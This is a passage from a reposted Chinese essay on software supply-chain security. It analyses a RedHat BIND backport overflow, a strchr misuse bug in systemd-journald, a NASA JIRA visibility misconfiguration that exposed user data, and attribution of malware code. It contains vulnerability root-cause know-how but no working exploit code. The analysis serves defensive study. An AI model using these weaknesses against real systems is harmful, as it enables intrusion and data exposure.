但是这有两个关键问题。一方面,如果开源基础软件被发现一例有历史沿革的代码漏洞,那么官方开发者基本都只为其最新代码负责,在当前代码上推出修复补丁。另一方面,互联网基础设施虽然不像其上的应用那样爆发性迭代,但依然持续有一些新特性涌现,其中一些是必不可少的,但同样只在最新代码中提供。两个刚需推动下,各Linux发行版对长期支持版本系统的软件都采用一致的策略,即保持其基础软件在一个固定的版本,但对于这些版本软件的最新漏洞、必要的最新软件特性,由发行版维护者将官方开发者最新代码改动“向后移植”到旧版本代码中,即backport。这就是基础软件的“官宣”碎片化的源头。 讲道理,Linux发行版维护者与社区具有比较靠谱的开发能力和监督机制,backport又基本就是一些复制粘贴工作,应当是很稳当的……但真是如此吗? CVE-2018-5742漏洞概况 CVE-2018-5742是一个简单的缓冲区溢出类型漏洞,官方评定其漏洞等级moderate,认为危害不大,漏洞修复不积极,披露信息不多,也没有积极给出代码修复patch和新版本rpm包。因为该漏洞仅在设置DEBUG_LEVEL为10以上才会触发,由远程攻击者构造畸形请求造成BIND服务崩溃,在正常的生产环境几乎不可能具有危害,RedHat官方也只是给出了用户自查建议。 这个漏洞只出现在RHEL和CentOS版本7中搭载的BIND 9.9.4-65及之后版本。RedHat同ISC的声明中都证实,这个漏洞的引入原因,是RedHat在尝试将BIND 9.11版本2016年新增的NTA机制向后移植到RedHat 7系中固定搭载的BIND 9.9版本代码时,偶然的代码错误。NTA是DNS安全扩展(DNSSEC)中,用于在特定域关闭DNSSEC校验以避免不必要的校验失败的机制;但这个漏洞不需要对NTA本身有进一步了解。 漏洞具体分析 官方没有给出具体分析,但根据CentOS社区里先前有用户反馈的bug,我得以很容易还原漏洞链路并定位到根本原因。 若干用户共同反馈,其使用的BIND 9.9.4-RedHat-9.9.4-72.el7发生崩溃(coredump),并给出如下的崩溃时调用栈backtrace: 这个调用过程的逻辑为,在9 dns_message_logfmtpacket函数判断当前软件设置是否DEBUG_LEVEL大于10,若是,对用户请求数据包做日志记录,先后调用8 dns_message_totext、7 dns_message_sectiontotext、6 dns_master_rdatasettotext、5 rdataset_totext将请求进行按协议分解分段后写出。 由以上关键调用环节,联动RedHat在9.9.4版本BIND源码包中关于引入NTA特性的源码patch,进行代码分析,很快定位到问题产生的位置,在上述backtrace中的5,masterdump.c文件rdataset_totext函数。漏洞相关代码片段中,RedHat进行backport后,这里引入的代码为: 这里判断对于请求中的注释类型数据,直接通过isc_buffer_putstr宏对缓存进行操作,在BIND工程中自定义维护的缓冲区结构对象target上,附加一字节字符串(一个分号)。而漏洞就是由此产生:isc_buffer_putstr中不做缓冲区边界检查保证,这里在缓冲区已满情况下将造成off-by-one溢出,并触发了缓冲区实现代码中的assertion。 而ISC上游官方版本的代码在这里是怎么写的呢?找到ISC版本BIND 9.11代码,这里是这样的: 这里可以看到,官方代码在做同样的“附加一个分号”这个操作时,审慎的使用了做缓冲区剩余空间校验的str_totext函数,并额外做返回值成功校验。而上述提到的str_totext函数与RETERR宏,在移植版本的masterdump.c中,RedHat开发者也都做了保留。但是,查看代码上下文发现,在RedHat开发者进行代码移植过程中,对官方代码进行了功能上的若干剪裁,包括一些细分数据类型记录的支持;而这里对缓冲区写入一字节,也许开发者完全没想到溢出的可能,所以自作主张地简化了代码调用过程。 问题思考 这个漏洞本身几乎没什么危害,但是背后足以引起思考。 没有人在“借”别人代码时能不出错 不同于之前章节提到的那种场景——将代码文件或片段复制到自己类似的代码上下文借用——backport作为一种官方且成熟的做法,借用的代码来源、粘贴到的代码上下文,是具有同源属性的,而且开发者一般是追求稳定性优先的社区开发人员,似乎质量应该有足够保障。但是这里的关键问题是:代码总要有一手、充分的语义理解,才能有可信的使用保障;因此,只要是处理他人的代码,因为不够理解而错误使用的风险,只可能减小,没办法消除。 如上分析,本次漏洞的产生看似只是做代码移植的开发者“自作主张”之下“改错了”。但是更广泛且可能的情况是,原始开发者在版本迭代中引入或更新大量基础数据结构、API的定义,并用在新的特性实现代码中;而后向移植开发人员仅需要最小规模的功能代码,所以会对增量代码进行一定规模的修改、剪裁、还原,以此适应旧版本基本代码。这些过程同样伴随着第三方开发人员不可避免的“望文生义”,以及随之而来的风险。后向移植操作也同样助长了软件碎片化过程,其中每一个碎片都存在这样的问题;每一个碎片在自身生命周期也将有持续性影响。 多级复制粘贴无异于雪上加霜 这里简单探讨的是企业通行的系统和基础软件建设实践。一些国内外厂商和社区发布的定制化Linux发行版,本身是有其它发行版,如CentOS特定版本渊源的,在基础软件上即便同其上游发行版最新版本间也存在断层滞后。RedHat相对于基础软件开发者之间已经隔了一层backport,而我们则人为制造了二级风险。 在很多基础而关键的软件上,企业系统基础设施的维护者出于与RedHat类似的初衷,往往会决定自行backport一份拷贝;通过早年心脏滴血事件的洗礼,即暴露出来OpenSSL一个例子。无论是需要RHEL还没来得及移植的新版本功能特性,还是出于对特殊使用上下文场景中更高执行效率的追求,企业都可能自行对RHEL上基础软件源码包进行修改定制重打包。这个过程除了将风险幂次放大外,也进一步加深了代码的不可解释性(包括基础软件开发人员流动性带来的不可解释)。 Ⅳ. 从武功到死穴:从systemd-journald信息泄露一窥API误用 1月10日凌晨两点,漏洞预警平台爬收取一封漏洞披露邮件。披露者是Qualys,那就铁定是重型发布了。最后看披露漏洞的目标,systemd?这就非常有意思了。 一些必要背景 systemd是什么,不好简单回答。Linux上面软件命名,习惯以某软件名后带个‘d’表示后台守护管理程序;所以systemd就可以说是整个系统的看守吧。而即便现在描述了systemd是什么,可能也很快会落伍,因为其初始及核心开发者Lennart Poettering(供职于Red Hat)描述它是“永无开发完结完整、始终跟进技术进展的、统一所有发行版无止境的差异”的一种底层软件。笼统讲有三个作用:中央化系统及设置管理;其它软件开发的基础框架;应用程序和系统内核之间的胶水。如今几乎所有Linux发行版已经默认提供systemd,包括RHEL/CentOS 7及后续版本。总之很基础、很底层、很重要就对了。systemd本体是个主要实现init系统的框架,但还有若干关键组件完成其它工作;这次被爆漏洞的是其journald组件,是负责系统事件日志记录的看守程序。 额外地还想简单提一句Qualys这个公司。该公司创立于1999年,官方介绍为信息安全与云安全解决方案企业,to B的安全业务非常全面,有些也是国内企业很少有布局的方面;例如上面提到的涉及碎片化和代码移植过程的历史漏洞移动,也在其漏洞管理解决方案中有所体现。但是我们对这家公司粗浅的了解来源于其安全研究团队近几年的发声,这两年间发布过的,包括有『stack clash』、『sudo get_tty_name提权』、『OpenSSH信息泄露与堆溢出』、『GHOST:glibc gethostbyname缓冲区溢出』等大新闻(仅截至2017年年中)。从中可见,这个研究团队专门啃硬骨头,而且还总能开拓出来新的啃食方式,往往爆出来一些别人没想到的新漏洞类型。从这个角度,再联想之前刷爆朋友圈的《安全研究者的自我修养》所倡导的“通过看历史漏洞、看别人的最新成果去举一反三”的理念,可见差距。 CVE-2018-16866漏洞详情 这次漏洞披露,打包了三个漏洞: ·16864和16865是内存破坏类型 ·16866是信息泄露 ·而16865和16866两个漏洞组和利用可以拿到root shell。 漏洞分析已经在披露中写的很详细了,这里不复述;而针对16866的漏洞成因来龙去脉,Qualys跟踪的结果留下了一点想象和反思空间,我们来看一下。 漏洞相关代码片段是这样的(漏洞修复前): 读者可以先肉眼过一遍这段代码有什么问题。实际上我一开始也没看出来,向下读才恍然大悟。 这段代码中,外部信息输入通过buf传入做记录处理。输入数据一般包含有空白字符间隔,需要分隔开逐个记录,有效的分隔符包括空格、制表符、回车、换行,代码中将其写入常量字符串;在逐字符扫描输入数据字符串时,将当前字符使用strchr在上述间隔符字符串中检索是否匹配,以此判断是否为间隔符;在240行,通过这样的判断,跳过记录单元字符串的头部连续空白字符。 但是问题在于,strchr这个极其基础的字符串处理函数,对于C字符串终止字符'\0'的处理上有个坑:'\0'也被认为是被检索字符串当中的一个有效字符。所以在240行,当当前扫描到的字符为字符串末尾的NULL时,strchr返回的是WHITESPACE常量字符串的终止位置而非NULL,这导致了越界。 看起来,这是一个典型的问题:API误用(API mis-use),只不过这个被误用的库函数有点太基础,让我忍不住想是不是还会有大量的类似漏洞……当然也反思我自己写的代码是不是也有同样情况,然而略一思考就释然了——我那么笨的代码都用for循环加if判断了:) 漏洞引入和消除历史 有意思的是,Qualys研究人员很贴心地替我做了一步漏洞成因溯源,这才是单独提这个漏洞的原因。漏洞的引入是在2015年的一个commit中: 在GitHub中,定位到上述2015年的commit信息,这里commit的备注信息为: journald: do not strip leading whitespace from messages. Keep leading whitespace for compatibility with older syslog implementations. Also useful when piping formatted output to the logger command. Keep removing trailing whitespace. OK,看起来是一个兼容性调整,对记录信息不再跳过开头所有连续空白字符,只不过用strchr的简洁写法比较突出开发者精炼的开发风格(并不),说得过去。 之后在2018年八月的一个当时尚未推正式版的另一次commit中被修复了,先是还原成了ec5ff4那次commit之前的写法,然后改成了加校验的方式: 虽然Qualys研究者认为上述的修改是“无心插柳”的改动,但是在GitHub可以看到,a6aadf这次commit是因为有外部用户反馈了输入数据为单个冒号情况下journald堆溢出崩溃的issue,才由开发者有目的性地修复的;而之后在859510这个commit再次改动回来,理由是待记录的消息都是使用单个空格作为间隔符的,而上一个commit粗暴地去掉了这种协议兼容性特性。 如果没有以上纠结的修改和改回历史,也许我会倾向于怀疑,在最开始漏洞引入的那个commit,既然改动代码没有新增功能特性、没有解决什么问题(毕竟其后三年,这个改动的代码也没有被反映issue),也并非出于代码规范等考虑,那么这么轻描淡写的一次提交,难免有人为蓄意引入漏洞的嫌疑。当然,看到几次修复的原因,这种可能性就不大了,虽然大家仍可以保留意见。但是抛开是否人为这个因素,单纯从代码的漏洞成因看,一个传统但躲不开的问题仍值得探讨:API误用。 API误用:程序员何苦为难程序员 如果之前的章节给读者留下了我反对代码模块化和复用的印象,那么这里需要正名一下,我们认可这是当下开发实践不可避免的趋势,也增进了社会开发速度。而API的设计决定了写代码和用代码的双方“舒适度”的问题,由此而来的API误用问题,也是一直被当做单纯的软件工程课题讨论。在此方面个人并没有什么研究,自然也没办法系统地给出分类和学术方案,只是谈一下自己的经验和想法。 一篇比较新的学术文章总结了API误用的研究,其中一个独立章节专门分析Java密码学组件API误用的实际,当中引述之前论文认为,密码学API是非常容易被误用的,比如对期望输入数据(数据类型,数据来源,编码形式)要求的混淆,API的必需调用次序和依赖缺失(比如缺少或冗余多次调用了初始化函数、主动资源回收函数)等。凑巧在此方面我有一点体会:曾经因为业务方需要,需要使用C++对一个Java的密码基础中间件做移植。Java对密码学组件支持,有原生的JDK模块和权威的BouncyCastle包可用;而C/C++只能使用第三方库,考虑到系统平台最大兼容和最小代码量,使用Linux平台默认自带的OpenSSL的密码套件。但在开发过程中感受到了OpenSSL满满的恶意:其中的API设计不可谓不反人类,很多参数没有明确的说明(比如同样是表示长度的函数参数,可能在不同地方分别以字节/比特/分组数为计数单位);函数的线程安全没有任何解释标注,需要自行试验;不清楚函数执行之后,是其自行做了资源释放还是需要有另外API做gc,不知道资源释放操作时是否规规矩矩地先擦除后释放……此类问题不一而足,导致经过了漫长的测试之后,这份中间件才提供出来供使用。而在业务场景中,还会存在比如其它语言调用的情形,这些又暴露出来OpenSSL API误用的一些完全无从参考的问题。这一切都成为了噩梦;当然这无法为我自己开解是个不称职开发的指责,但仅就OpenSSL而言其API设计之恶劣也是始终被人诟病的问题,也是之后其他替代者宣称改进的地方。 当然,问题是上下游都脱不了干系的。我们自己作为高速迭代中的开发人员,对于二方、三方提供的中间件、API,又有多少人能自信地说自己仔细、认真地阅读过开发指南和API、规范说明呢?做过通用产品技术运营的朋友可能很容易理解,自己产品的直接用户日常抛出不看文档的愚蠢问题带来的困扰。对于密码学套件,这个问题还好办一些,毕竟如果在没有背景知识的情况下对API望文生义地一通调用,绝大多数情况下都会以抛异常形式告终;但还是有很多情况,API误用埋下的是长期隐患。 不是所有API误用情形最终都有机会发展成为可利用的安全漏洞,但作为一个由人的因素引入的风险,这将长期存在并困扰软件供应链(虽然对安全研究者、黑客与白帽子是很欣慰的事情)。可惜,传统的白盒代码扫描能力,基于对代码语义的理解和构建,但是涉及到API则需要预先的抽象,这一点目前似乎仍然是需要人工干预的事情;或者轻量级一点的方案,可以case by case地分析,为所有可能被误用的API建模并单独扫描,这自然也有很强局限性。在一个很底层可信的开发者还对C标准库API存在误用的现实内,我们需要更多的思考才能说接下来的解法。 Ⅴ. 从规则到陷阱:NASA JIRA误配置致信息泄露血案 软件的定义包括了代码组成的程序,以及相关的配置、文档等。当我们说软件的漏洞、风险时,往往只聚焦在其中的代码中;关于软件供应链安全风险,我们的比赛、前面分析的例子也都聚焦在了代码的问题;但是真正的威胁都来源于不可思议之处,那么代码之外有没有可能存在来源于上游的威胁呢?这里就借助实例来探讨一下,在“配置”当中可能栽倒的坑。 引子:发不到500英里以外的邮件? 让我们先从一个轻松愉快的小例子引入。这个例子初见于Linux中国的一篇译文。 简单说,作者描述了这么一个让人啼笑皆非的问题:单位的邮件服务器发送邮件,发送目标距离本地500英里范围之外的一律失败,邮件就像悠悠球一样只能飞出一定距离。这个问题本身让描述者感到尴尬,就像一个技术人员被老板问到“为什么从家里笔记本上Ctrl-C后不能在公司台式机上Ctrl-V”一样。 经过令人窒息的分析操作后,笔者定位到了问题原因:笔者作为负责的系统管理员,把SunOS默认安装的Senmail从老旧的版本5升级到了成熟的版本8,且对应于新版本诸多的新特性进行了对应配置,写入配置文件sendmail.cf;但第三方服务顾问在对单位系统进行打补丁升级维护时,将系统软件“升级”到了系统提供的最新版本,因此将Sendmail实际回退到了版本5,却为了软件行为一致性,原样保留了高版本使用的配置文件。但Sendmail并没有在大版本间保证配置文件兼容性,这导致很多版本5所需的配置项不存在于保留下来的sendmail.cf文件中,程序按默认值0处理;最终引起问题的就是,邮件服务器与接收端通信的超时时间配置项,当取默认配置值0时,邮件服务器在1个单位时间(约3毫秒)内没有收到网络回包即认为超时,而这3毫秒仅够电信号打来回飞出500英里。 这个“故事”可能会给技术人员一点警醒,错误的配置会导致预期之外的软件行为,但是配置如何会引入软件供应链方向的安全风险呢?这就引出了下一个重磅实例。 JIRA配置错误致NASA敏感信息泄露案例 我们都听过一个事情,马云在带队考察美国公司期间问Google CEO Larry Page自视谁为竞争对手,Larry的回答是NASA,因为最优秀的工程师都被NASA的梦想吸引过去了。由此我们显然能窥见NASA的技术水位之高,这样的人才团队大概至少是不会犯什么低级错误的。 但也许需要重新定义“低级错误”……1月11日一篇技术文章披露,NASA某官网部署使用的缺陷跟踪管理系统JIRA存在错误的配置,可分别泄漏内部员工(JIRA系统用户)的全部用户名和邮件地址,以及内部项目和团队名称到公众,如下: 问题的原因解释起来也非常简单:JIRA系统的过滤器和配置面板中,对于数据可见性的配置选项分别选定为All users和Everyone时,系统管理人员想当然地认为这意味着将数据对所有“系统用户”开放查看,但是JIRA的这两个选项的真实效果逆天,是面向“任意人”开放,即不限于系统登录用户,而是任何查看页面的人员。看到这里,我不厚道地笑了……“All users”并不意味着“All ‘users’”,意不意外,惊不惊喜? 但是这种字面上把戏,为什么没有引起NASA工程师的注意呢,难道这样逆天的配置项没有在产品手册文档中加粗标红提示吗?本着为JIRA产品设计找回尊严的态度,我深入挖掘了一下官方说明,果然在Atlassian官方的一份confluence文档(看起来更像是一份增补的FAQ)中找到了相关说明: 所有未登录访客访问时,系统默认认定他们是匿名anonymous用户,所以各种权限配置中的all users或anyone显然应该将匿名用户包括在内。在7.2及之后版本中,则提供了“所有登录用户”的选项。 可以说是非常严谨且贴心了。比较讽刺的是,在我们的软件供应链安全大赛·C源代码赛季期间,我们设计圈定的恶意代码攻击目标还包括JIRA相关的敏感信息的窃取,但是却想不到有这么简单方便的方式,不动一行代码就可以从JIRA中偷走数据。 软件的使用,你“配”吗? 无论是开放的代码还是成型的产品,我们在使用外部软件的时候,都是处于软件供应链下游的消费者角色,为了要充分理解上游开发和产品的真实细节意图,需要我们付出多大的努力才够“资格”? 上一章节我们讨论过源码使用中必要细节信息缺失造成的“API误用”问题,而软件配置上的“误用”问题则复杂多样得多。从可控程度上讨论,至少有这几种因素定义了这个问题: ·软件用户对必要配置的现有文档缺少了解。这是最简单的场景,但又是完全不可避免的,这一点上我们所有有开发、产品或运营角色经验的应该都曾经体会过向不管不顾用户答疑的痛苦,而所有软件使用者也可以反省一下对所有软件的使用是否都以完整细致的文档阅读作为上手的准备工作,所以不必多说。 ·软件拥有者对配置条目缺少必要明确说明文档。就JIRA的例子而言,将NASA工程师归为上一条错误有些冤枉,而将JIRA归为这条更加合适。在边角但重要问题上的说明通过社区而非官方文档形式发布是一种不负责任的做法,但未引发安全事件的情况下还有多少这样的问题被默默隐藏呢?我们没办法要求在使用软件之前所有用户将软件相关所有文档、社区问答实现全部覆盖。这个问题范围内一个代表性例子是对配置项的默认值以及对应效果的说明缺失。 ·配置文件版本兼容性带来的误配置和安全问题。实际上,上面的SunOS Sendmail案例足以点出这个问题的存在性,但是在真实场景下,很可能不会以这么戏剧性形式出现。在企业的系统运维中,系统的版本迭代常见,但为软件行为一致性,配置的跨版本迁移是不可避免的操作;而且软件的更新迭代也不只会由系统更新推动,还有大量出于业务性能要求而主动进行的定制化升级,对于中小企业基础设施建设似乎是一个没怎么被提及过的问题。 ·配置项组合冲突问题。尽管对于单个配置项可能明确行为与影响,但是特定的配置项搭配可能造成不可预知的效果。这完全有可能是由于开发者与用户在信息不对等的情况下产生:开发者认为用户应该具有必需的背景知识,做了用户应当具备规避配置冲突能力的假设。一个例子是,对称密码算法在使用ECB、CBC分组工作模式时,从密码算法上要求输入数据长度必须是分组大小的整倍数,但如果用户搭配配置了秘钥对数据不做补齐(nopadding),则引入了非确定性行为:如果密码算法库对这种组合配置按某种默认补齐方式操作数据则会引起歧义,但如果在算法库代码层面对这种组合抛出错误则直接影响业务。 ·程序对配置项处理过程的潜在暗箱操作。这区别于简单的未文档化配置项行为,仅特指可能存在的蓄意、恶意行为。从某种意义上,上述“All users”也可以认为是这样的一种陷阱,通过浅层次暗示,引导用户做出错误且可能引起问题的配置。另一种情况是特定配置组合情况下触发恶意代码的行为,这种触发条件将使恶意代码具有规避检测的能力,且在用户基数上具有一定概率的用户命中率。当然这种情况由官方开发者直接引入的可能性很低,但是在众包开发的情况下如果存在,那么扫描方案是很难检测的。 Ⅵ. 从逆流到暗流:恶意代码溯源后的挑战 如果说前面所说的种种威胁都是面向关键目标和核心系统应该思考的问题,那么最后要抛出一个会把所有人拉进赛场的理由。除了前面所有那些在软件供应链下游被动污染受害的情况,还有一种情形:你有迹可循的代码,也许在不经意间会“反哺”到黑色产业链甚至特殊武器中;而现在研究用于对程序进行分析和溯源的技术,则会让你陷入百口莫辩的境地。 案例:黑产代码模块溯源疑云 1月29日,猎豹安全团队发布技术分析通报文章《电信、百度客户端源码疑遭泄漏,驱魔家族窃取隐私再起波澜》,矛头直指黑产上游的恶意信息窃取代码模块,认定其代码与两方产品存在微妙的关联:中国电信旗下“桌面3D动态天气”等多款软件,以及百度旗下“百度杀毒”等软件(已不可访问)。 文章中举证有三个关键点。 首先最直观的,是三者使用了相同的特征字符串、私有文件路径、自定义内部数据字段格式; 其次,在关键代码位置,三者在二进制程序汇编代码层面具有高度相似性; 最终,在一定范围的非通用程序逻辑上,三者在经过反汇编后的代码语义上显示出明显的雷同,并提供了如下两图佐证(图片来源): 文章指出的涉事相关软件已经下线,对于上述样本文件的相似度试验暂不做复现,且无法求证存在相似、疑似同源的代码在三者中占比数据。对于上述指出的代码雷同现象,猎豹安全团队认为: 我们怀疑该病毒模块的作者通过某种渠道(比如“曾经就职”),掌握有中国电信旗下部分客户端/服务端源码,并加以改造用于制作窃取用户隐私的病毒,另外在该病毒模块的代码中,我们还发现“百度”旗下部分客户端的基础调试日志函数库代码痕迹,整个“驱魔”病毒家族疑点重重,其制作传播背景愈发扑朔迷离。 这样的推断,固然有过于直接的依据(例如三款代码中均使用含有“baidu”字样的特征注册表项);但更进一步地,需要注意到,三个样本在所指出的代码位置,具有直观可见的二进制汇编代码结构的相同,考虑到如果仅仅是恶意代码开发者先逆向另外两份代码后借鉴了代码逻辑,那么在面临反编译、代码上下文适配重构、跨编译器和选项的编译结果差异等诸多不确定环节,仍能保持二进制代码的雷同,似乎确实是只有从根本上的源代码泄漏(抄袭)且保持相同的开发编译环境才能成立。 但是我们却又无法做出更明确的推断。这一方面当然是出于严谨避免过度解读;而从另一方面考虑,黑产代码的一个关键出发点就是“隐藏自己”,而这里居然如此堂而皇之地照搬了代码,不但没有进行任何代码混淆、变形,甚至没有抹除疑似来源的关键字符串,如果将黑产视为智商在线的对手,那这里背后是否有其它考量,就值得琢磨了。 代码的比对、分析、溯源技术水准 上文中的安全团队基于大量样本和粗粒度比对方法,给出了一个初步的判断和疑点。那么是否有可能获得更确凿的分析结果,来证实或证伪同源猜想呢? 无论是源代码还是二进制,代码比对技术作为一种基础手段,在软件供应链安全分析上都注定仍然有效。在我们的软件供应链安全大赛期间,针对PE二进制程序类型的题目,参赛队伍就纷纷采用了相关技术手段用于目标分析,包括:同源性分析,用于判定与目标软件相似度最高的同软件官方版本;细粒度的差异分析,用于尝试在忽略编译差异和特意引入的混淆之外,定位特意引入的恶意代码位置。当然,作为比赛中针对性的应对方案,受目标和环境引导约束,这些方法证明了可行性,却难以保证集成有最新技术方案。那么做一下预言,在不计入情报辅助条件下,下一代的代码比对将能够到达什么水准? 这里结合近一年和今年内,已发表和未发表的学术领域顶级会议的相关文章来简单展望: ·针对海量甚至全量已知源码,将可以实现准确精细化的“作者归属”判定。在ACM CCS‘18会议上曾发表的一篇文章《Large-Scale and Language-Oblivious Code Authorship Identification》,描述了使用RNN进行大规模代码识别的方案,在圈定目标开发者,并预先提供每个开发者的5-7份已知的代码文件后,该技术方案可以很有效地识别大规模匿名代码仓库中隶属于每个开发者的代码:针对1600个Google Code Jam开发者8年间的所有代码可以实现96%的成功识别率,而针对745个C代码开发者于1987年之后在GitHub上面的全部公开代码仓库,识别率也高达94.38%。这样的结果在当下的场景中,已经足以实现对特定人的代码识别和跟踪(例如,考虑到特定开发人员可能由于编码习惯和规范意识,在时间和项目跨度上犯同样的错误);可以预见,在该技术方向上,完全可以期望摆脱特定已知目标人的现有数据集学习的过程,并实现更细粒度的归属分析,例如代码段、代码行、提交历史。 ·针对二进制代码,更准确、更大规模、更快速的代码主程序分析和同源性匹配。近年来作为一项程序分析基础技术研究,二进制代码相似性分析又重新获得了学术界和工业界的关注。在2018年和2019(已录用)的安全领域四大顶级会议上,每次都会有该方向最新成果的展示,如S&P‘2019上录用的《Asm2Vec: Boosting Static Representation Robustness for Binary Clone Search against Code Obfuscation and Compiler Optimization》,实现无先验知识的条件下的最优汇编代码级别克隆检测,针对漏洞库的漏洞代码检测可实现0误报、100%召回。而2018年北京HITB会议上,Google Project Zero成员、二进制比对工具BinDiff原始作者Thomas Dullien,探讨了他借用改造Google自家SimHash算法思想,用于针对二进制代码控制流图做相似性检测的尝试和阶段结果;这种引入规模数据处理的思路,也可期望能够在目前其他技术方案大多精细化而低效的情况下,为高效、快速、大规模甚至全量代码克隆检测勾出未来方案。 ·代码比对方案对编辑、优化、变形、混淆的对抗。近年所有技术方案都以对代码“变种”的检测有效性作为关键衡量标准,并一定程度上予以保证。上文CCS‘18论文工作,针对典型源代码混淆(如Tigress)处理后的代码,大规模数据集上可有93.42%的准确识别率;S&P‘19论文针对跨编译器和编译选项、业界常用的OLLVM编译时混淆方案进行试验,在全部可用的混淆方案保护之下的代码仍然可以完成81%以上的克隆检测。值得注意的是以上方案都并非针对特定混淆方案单独优化的,方法具有通用价值;而除此以外还有很多针对性的的反混淆研究成果可用;因此,可以认为在采用常规商用代码混淆方案下,即便存在隐藏内部业务逻辑不被逆向的能力,但仍然可以被有效定位代码复用和开发者自然人。 代码溯源技术面前的“挑战” 作为软件供应链安全的独立分析方,健壮的代码比对技术是决定性的基石;而当脑洞大开,考虑到行业的发展,也许以下两种假设的情景,将把每一个“正当”的产品、开发者置于尴尬的境地。 代码仿制 在本章节引述的“驱魔家族”代码疑云案例中,黑产方面通过某种方式获得了正常代码中,功能逻辑可以被自身复用的片段,并以某种方法将其在保持原样的情况下拼接形成了恶意程序。即便在此例中并非如此,但这却暴露了隐忧:将来是不是有这种可能,我的正常代码被泄漏或逆向后出现在恶意软件中,被溯源后扣上黑锅? 这种担忧可能以多种渠道和形式成为现实。 从上游看,内部源码被人为泄漏是最简单的形式(实际上,考虑到代码的完整生命周期似乎并没有作为企业核心数据资产得到保护,目前实质上有没有这样的代码在野泄漏还是个未知数),而通过程序逆向还原代码逻辑也在一定程度上可获取原始代码关键特征。 从下游看,则可能有多种方式将恶意代码伪造得像正常代码并实现“碰瓷”。最简单地,可以大量复用关键代码特征(如字符串,自定义数据结构,关键分支条件,数据记录和交换私有格式等)。考虑到在进行溯源时,分析者实际上不需要100%的匹配度才会怀疑,因此仅仅是仿造原始程序对于第三方公开库代码的特殊定制改动,也足以将公众的疑点转移。而近年来类似自动补丁代码搜索生成的方案也可能被用来在一份最终代码中包含有二方甚至多方原始代码的特征和片段。 基于开发者溯源的定点渗透 既然在未来可能存在准确将代码与自然人对应的技术,那么这种技术也完全可能被黑色产业利用。可能的忧患包括强针对性的社会工程,结合特定开发者历史代码缺陷的漏洞挖掘利用,联动第三方泄漏人员信息的深层渗透,等等。这方面暂不做联想展开。 〇. 没有总结 作为一场旨在定义“软件供应链安全”威胁的宣言,阿里安全“功守道”大赛将在后续给出详细的分解和总结,其意义价值也许会在一段时间之后才能被挖掘。 但是威胁的现状不容乐观,威胁的发展不会静待;这一篇随笔仅仅挑选六个侧面做摘录分析,可即将到来的趋势一定只会进入更加发散的境地,因此这里,没有总结。 本篇文章为转载内容。原文链接:https://blog.csdn.net/systemino/article/details/90114743。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
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